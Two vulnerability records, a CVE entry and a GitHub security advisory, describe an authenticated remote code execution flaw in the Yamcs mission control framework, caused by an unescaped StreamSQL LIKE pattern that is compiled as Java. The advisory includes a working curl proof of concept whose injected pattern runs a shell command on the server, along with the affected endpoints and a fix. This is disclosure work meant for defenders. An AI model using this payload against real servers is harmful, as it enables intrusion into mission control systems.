{
  "affected": [
    {
      "affectedData": [
        {
          "product": "yamcs",
          "vendor": "yamcs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.12.8"
            },
            {
              "status": "affected",
              "version": "\u003e= 5.13.0, \u003c 5.13.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs LikeExpression.fillCode_getValueReturn in yamcs-core/src/main/java/org/yamcs/yarch/streamsql/LikeExpression.java inserts an unescaped LIKE pattern into Java source compiled by Expression.getCompiledExpression through SimpleCompiler.cook instead of applying ValueExpression.escapeJavaString. The pattern can originate from POST /api/archive/{instance}:executeSql, POST /api/archive/{instance}:streamSql, POST /api/archive/{instance}/tables/{table}:readRows, GET /api/archive/{instance}/events, or activity searches, including paths available with ReadTables, ReadEvents, or ReadActivities. A quote in the pattern can inject Java that runs as the Yamcs server process. This issue is fixed in versions 5.12.8 and 5.13.2."
    }
  ],
  "id": "CVE-2026-55565",
  "lastModified": "2026-08-28T20:18:29.070",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.9,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-08-28T20:18:29.070",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/commit/640e1598b7097b521692e89dd47a39b6cb1fc663"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/commit/a8fb4a0693fa62a6eb729b26016d1090dd8b289c"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.13.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.13.0"
            },
            {
              "fixed": "5.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55565"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T17:30:32Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\nYamcs compiles StreamSQL query expressions to Java at runtime with Janino. The `LIKE` operator inserts the user-supplied pattern into the generated Java **unescaped**, inside a `\"...\"` literal, so a pattern containing `\"` breaks out and injects arbitrary Java (e.g. a `static{}` block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.\n\nThe pattern is embedded raw whether it comes from a SQL string literal or a bound `?` argument, so the sink is reachable from any endpoint that builds a `LIKE` from user input, at routine **read-only** privileges, not just `executeSql`:\n- `POST /api/archive/{instance}:executeSql` and `:streamSql` (privilege `ControlArchiving`)\n- `POST /api/archive/{instance}/tables/{table}:readRows` via the `query` field (privilege `ReadTables`)\n- `GET /api/archive/{instance}/events?q=` and the event export/stream variants (privilege `ReadEvents`)\n- `listActivities` `q` (privilege `ReadActivities`)\n\nThe Events page search box feeds `q` directly.\n\nIndependent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of `ChangeMissionDatabase` and is not affected by the `overrideAlgorithmsEnabled` gate.\n\n## Details\n- **Sink:** `Expression#getCompiledExpression` compiles generated source with `SimpleCompiler.cook(...)` (`Expression.java:205`) and instantiates it (`Expression.java:213`) at stream prep, before any tuple flows.\n- **Injection:** `LikeExpression#fillCode_getValueReturn` (`LikeExpression.java:26`) appends `likeClause.pattern` raw into `Utils.like(\u003ccol\u003e, \"\u003cpattern\u003e\")`. The safe sibling `ValueExpression` escapes literals via `escapeJavaString()` (`ValueExpression.java:82-85`); a review of all 35 streamsql code-generators found `LikeExpression` to be the only unescaped one.\n- **Grammar:** `S_STRING = \"\u0027\" (~[\"\u0027\"])* \"\u0027\"` (`StreamSql.jj:222`) allows `\"`; `getNonEscapedString` (`StreamSql.jj:36`) does not escape `\"` or `\\`.\n- **Reachability:** `TableApi#executeSql` (`TableApi.java:399`) checks only `ControlArchiving`, then passes the raw statement to `ydb.createStatement(...)`. No SecurityManager or Janino sandbox is configured, so the compiled code can call `Runtime`/`ProcessBuilder`. `:streamSql` (`TableApi.java:447`) is equally affected.\n- **The sink is reachable from several lower-privilege endpoints, not just `executeSql`.** A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound `?` argument (`nextArgAsString` -\u003e `likeClause.pattern`), so any endpoint building `... LIKE ?` with attacker input also reaches it:\n  - `POST .../tables/{table}:readRows` (`TableApi.java:276`, privilege **ReadTables**): the `query` and `cols` request fields are concatenated raw into the executed StreamSQL (`sqlb.where(request.getQuery())`). Verified RCE.\n  - `GET .../events?q=` (`listEvents`, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege **ReadEvents**: `body.message like ?` with `\"%\"+q+\"%\"`. Verified RCE.\n  - `listActivities` (ActivitiesApi.java:86/113), privilege **ReadActivities**: `detail like ?` with `\"%\"+q+\"%\"`.\n  `ReadTables`/`ReadEvents`/`ReadActivities` are routine read-only permissions. The single `escapeJavaString` fix below closes all of these (one sink). The raw `readRows` WHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validate `cols`, do not accept a free-form `query` at `ReadTables`).\n\n## Proof of Concept\nAgainst a Yamcs server with security enabled (default HTTP port `8090`), as a user holding only `ControlArchiving`.\n\n```bash\nBASE=http://\u003chost\u003e:8090\nINSTANCE=\u003cinstance\u003e\n\n# 1. Get a token for a ControlArchiving user.\nTOK=$(curl -s -X POST \"$BASE/auth/token\" \\\n  -d \u0027grant_type=password\u0026username=USER\u0026password=PASS\u0027 \\\n  | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[\"access_token\"])\u0027)\n\n# 2. Create a table with a string column.\ncurl -s -X POST \"$BASE/api/archive/$INSTANCE:executeSql\" \\\n  -H \"Authorization: Bearer $TOK\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"statement\":\"create table demo(gentime timestamp, y string, primary key(gentime))\"}\u0027\n\n# 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a\n#    static{} initializer that runs an OS command, then reopens a dummy method so the\n#    generated class still compiles.\nPATTERN=\u0027a\"); } static { try { new ProcessBuilder(new String[]{\"/bin/sh\",\"-c\",\"id \u003e /tmp/pwned\"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf(\"1\u0027\nSQL=\"create stream pwn as select * from demo where y like \u0027$PATTERN\u0027\"\ncurl -s -X POST \"$BASE/api/archive/$INSTANCE:executeSql\" \\\n  -H \"Authorization: Bearer $TOK\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \"$(python3 -c \u0027import sys,json;print(json.dumps({\"statement\":sys.argv[1]}))\u0027 \"$SQL\")\"\n\n# 4. Proof: the command ran as the Yamcs OS user (on the server host).\ncat /tmp/pwned        # -\u003e uid=...(...)\n```\nA benign `like \u0027abc%\u0027` does nothing; exploitation depends on the `\"` break-out.\n\n## Impact\nArbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via `executeSql` (`ControlArchiving`), `readRows` (`ReadTables`), the events list/export/stream endpoints (`ReadEvents`), and the activities listing (`ReadActivities`).\n\nExploitation via `executeSql` generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).\n\n## Remediation\nEscape the pattern like other literals, in `LikeExpression.fillCode_getValueReturn`:\n```java\ncode.append(\", \\\"\");\nValueExpression.escapeJavaString(likeClause.pattern, code);  // was: code.append(likeClause.pattern);\ncode.append(\"\\\")\");\n```\nDefence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every `cook()` path; compile generated classes under a classloader that cannot reach `Runtime`/`ProcessBuilder`.",
  "id": "GHSA-c64q-hj4j-375f",
  "modified": "2026-08-28T17:30:32Z",
  "published": "2026-08-28T17:30:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/640e1598b7097b521692e89dd47a39b6cb1fc663"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/a8fb4a0693fa62a6eb729b26016d1090dd8b289c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)"
}